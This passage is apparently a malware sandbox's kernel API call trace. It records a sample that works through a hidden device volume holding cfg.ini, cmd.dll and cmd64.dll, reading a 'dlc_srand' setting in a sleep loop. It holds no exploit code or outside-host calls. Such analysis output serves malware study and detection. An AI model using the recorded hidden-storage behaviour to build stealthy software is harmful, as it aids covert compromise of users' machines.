_snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.597] KeEnterCriticalRegion () [0129.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.597] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.597] IdePortDispatch () returned 0x103 [0129.597] KeWaitForMutexObject () returned 0x0 [0129.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.597] KeLeaveCriticalRegion () [0129.597] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.598] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.598] KeEnterCriticalRegion () [0129.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.598] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1f000 [0129.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.598] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.598] IdePortDispatch () returned 0x103 [0129.598] KeWaitForMutexObject () returned 0x0 [0129.598] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.598] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.598] IdePortDispatch () returned 0x103 [0129.598] KeWaitForMutexObject () returned 0x0 [0129.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.598] KeLeaveCriticalRegion () [0129.598] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.599] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.599] KeEnterCriticalRegion () [0129.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.599] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.599] KeLeaveCriticalRegion () [0129.599] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.599] KeEnterCriticalRegion () [0129.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.599] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.599] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c051e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.599] KeLeaveCriticalRegion () [0129.599] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.599] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.599] KeEnterCriticalRegion () [0129.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.599] ExFreePoolWithTag (P=0xfffffa8003c05120, Tag=0x0) [0129.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.599] KeLeaveCriticalRegion () [0129.599] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.599] ReleaseMutex (hMutex=0xf0) returned 1 [0129.599] Sleep (dwMilliseconds=0x124f80) [0129.618] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.618] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.618] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.618] KeEnterCriticalRegion () [0129.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.618] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.618] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.618] IdePortDispatch () returned 0x103 [0129.618] KeWaitForMutexObject () returned 0x0 [0129.618] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.618] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.618] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.618] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.618] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.618] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06830 [0129.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.618] KeLeaveCriticalRegion () [0129.618] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.618] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.618] KeEnterCriticalRegion () [0129.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.618] KeLeaveCriticalRegion () [0129.618] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.618] KeEnterCriticalRegion () [0129.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.619] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.619] IdePortDispatch () returned 0x103 [0129.619] KeWaitForMutexObject () returned 0x0 [0129.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.619] KeLeaveCriticalRegion () [0129.619] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.619] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.619] KeEnterCriticalRegion () [0129.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.619] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c24000 [0129.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.619] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.619] IdePortDispatch () returned 0x103 [0129.619] KeWaitForMutexObject () returned 0x0 [0129.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.619] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.619] IdePortDispatch () returned 0x103 [0129.620] KeWaitForMutexObject () returned 0x0 [0129.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.620] KeLeaveCriticalRegion () [0129.620] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.620] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.620] KeEnterCriticalRegion () [0129.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.620] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.620] KeLeaveCriticalRegion () [0129.620] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.620] KeEnterCriticalRegion () [0129.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.620] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.620] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.621] KeLeaveCriticalRegion () [0129.621] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.621] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.621] KeEnterCriticalRegion () [0129.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.621] ExFreePoolWithTag (P=0xfffffa8003c06830, Tag=0x0) [0129.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.621] KeLeaveCriticalRegion () [0129.621] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.621] ReleaseMutex (hMutex=0xf0) returned 1 [0129.621] Sleep (dwMilliseconds=0x124f80) [0129.636] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.636] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.636] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.636] KeEnterCriticalRegion () [0129.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.636] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.636] IdePortDispatch () returned 0x103 [0129.636] KeWaitForMutexObject () returned 0x0 [0129.636] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.636] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.636] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.636] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.636] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.636] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05120 [0129.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.637] KeLeaveCriticalRegion () [0129.637] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.637] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.637] KeEnterCriticalRegion () [0129.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.637] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.637] KeLeaveCriticalRegion () [0129.637] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.637] KeEnterCriticalRegion () [0129.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.637] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.637] IdePortDispatch () returned 0x103 [0129.637] KeWaitForMutexObject () returned 0x0 [0129.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.637] KeLeaveCriticalRegion () [0129.637] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.637] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.637] KeEnterCriticalRegion () [0129.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.637] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c29000 [0129.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.637] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.637] IdePortDispatch () returned 0x103 [0129.638] KeWaitForMutexObject () returned 0x0 [0129.638] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.638] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.638] IdePortDispatch () returned 0x103 [0129.638] KeWaitForMutexObject () returned 0x0 [0129.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.638] KeLeaveCriticalRegion () [0129.638] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.639] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.639] KeEnterCriticalRegion () [0129.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.639] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.639] KeLeaveCriticalRegion () [0129.639] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.639] KeEnterCriticalRegion () [0129.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.639] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.639] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c06400, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.639] KeLeaveCriticalRegion () [0129.639] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.639] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.639] KeEnterCriticalRegion () [0129.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.639] ExFreePoolWithTag (P=0xfffffa8003c05120, Tag=0x0) [0129.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.639] KeLeaveCriticalRegion () [0129.639] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.639] ReleaseMutex (hMutex=0xf0) returned 1 [0129.639] Sleep (dwMilliseconds=0x124f80) [0129.656] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.656] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.656] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.656] KeEnterCriticalRegion () [0129.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.656] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.656] IdePortDispatch () returned 0x103 [0129.656] KeWaitForMutexObject () returned 0x0 [0129.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.656] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.656] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.656] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.656] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.656] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02a10 [0129.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.656] KeLeaveCriticalRegion () [0129.656] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.656] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.656] KeEnterCriticalRegion () [0129.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.656] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.656] KeLeaveCriticalRegion () [0129.656] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.656] KeEnterCriticalRegion () [0129.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.657] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.657] IdePortDispatch () returned 0x103 [0129.657] KeWaitForMutexObject () returned 0x0 [0129.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.657] KeLeaveCriticalRegion () [0129.657] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.657] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.657] KeEnterCriticalRegion () [0129.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.657] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2e000 [0129.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.657] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.657] IdePortDispatch () returned 0x103 [0129.657] KeWaitForMutexObject () returned 0x0 [0129.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, 